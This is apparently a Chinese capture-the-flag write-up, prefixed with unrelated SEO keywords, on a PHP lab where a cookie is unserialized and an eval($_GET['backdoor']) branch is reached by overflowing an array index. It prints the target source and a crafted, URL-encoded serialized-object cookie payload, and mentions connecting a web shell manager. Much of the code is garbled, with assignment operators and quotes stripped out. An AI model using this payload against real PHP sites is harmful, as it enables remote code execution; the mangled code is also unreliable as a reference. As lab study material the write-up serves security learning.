小企业做网站怎么做,程序员网站,商城网站建设第一章,外贸公司怎么注册进入靶场
没提示#xff0c;去看源代码。
user.php
?php
// 定义一个名为 User 的类#xff0c;该类可用于表示用户相关信息或执行与用户有关的操作
class User{// 声明一个公共属性 $count#xff0c;可在类的内部和外部直接访问// 这个属性可能用于记录与用户相关…
进入靶场
没提示去看源代码。
user.php
?php
// 定义一个名为 User 的类该类可用于表示用户相关信息或执行与用户有关的操作
class User{// 声明一个公共属性 $count可在类的内部和外部直接访问// 这个属性可能用于记录与用户相关的某种数量比如用户的操作次数、用户拥有的物品数量等public $count;
}
?
add_api.php
?php
// 包含 user.php 文件该文件中可能定义了 User 类或其他相关代码
// 包含文件后当前脚本就可以使用该文件中定义的类、函数、变量等
include user.php;// 从 $_COOKIE 超全局数组中获取名为 data 的 cookie 值并尝试对其进行反序列化操作
// 反序列化操作会将存储在 cookie 中的序列化对象恢复为 PHP 对象
// 如果反序列化成功将结果赋值给 $user 变量并进入 if 语句块
if($user unserialize($_COOKIE[data])){// 对 $user 对象的 count 属性进行自增操作然后将 $count 数组的对应索引位置赋值为 1// 例如如果 $user-count 初始值为 1自增后为 2那么 $count[2] 1$count[$user-count] 1;// 这里存在语法错误正确的应该是 if ($count[] 1) 这种写法不符合正常逻辑// 可能本意是检查某个条件但这样的赋值操作结果总是为 1在 PHP 中赋值表达式的值为所赋的值条件恒为真// 暂且按代码逻辑理解若这个条件成立if($count[] 1){// 将 $user 对象的 count 属性再加 1$user-count 1;// 将更新后的 $user 对象进行序列化操作将其转换为字符串形式// 然后使用 setcookie 函数将序列化后的字符串存储到名为 data 的 cookie 中setcookie(data, serialize($user));} else {// 如果上述条件不成立实际上由于赋值操作这里永远不会执行// 使用 eval 函数执行从 GET 请求中获取的名为 backdoor 的参数值// 这是非常危险的操作因为用户可以通过 GET 请求传入恶意代码从而导致任意代码执行漏洞eval($_GET[backdoor]);}
} else {// 如果反序列化失败说明 cookie 中存储的数据不是有效的序列化对象或者 cookie 不存在// 创建一个新的 User 类的实例$user new User;// 将新创建的 $user 对象的 count 属性初始化为 1$user-count 1;// 将新创建的 $user 对象进行序列化操作然后存储到名为 data 的 cookie 中setcookie(data, serialize($user));
}
?
如下代码 给与了我们进行任意代码执行漏洞的条件
即设置count为9223372036854775806
?phpclass User{public $count9223372036854775806;}echo serialize(new User);
?O:4:User:1:{s:5:count;i:9223372036854775806;} 忘记进行url编码了
?phpclass User{public $count9223372036854775806;
}
echo urlencode(serialize(new User()));
?
cookie 添加为以下内容 dataO%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D 大概这样改cookie
到这块就需要蚁剑连接了我的蚁剑有问题最近还没好
先帝创业未半而开局崩殂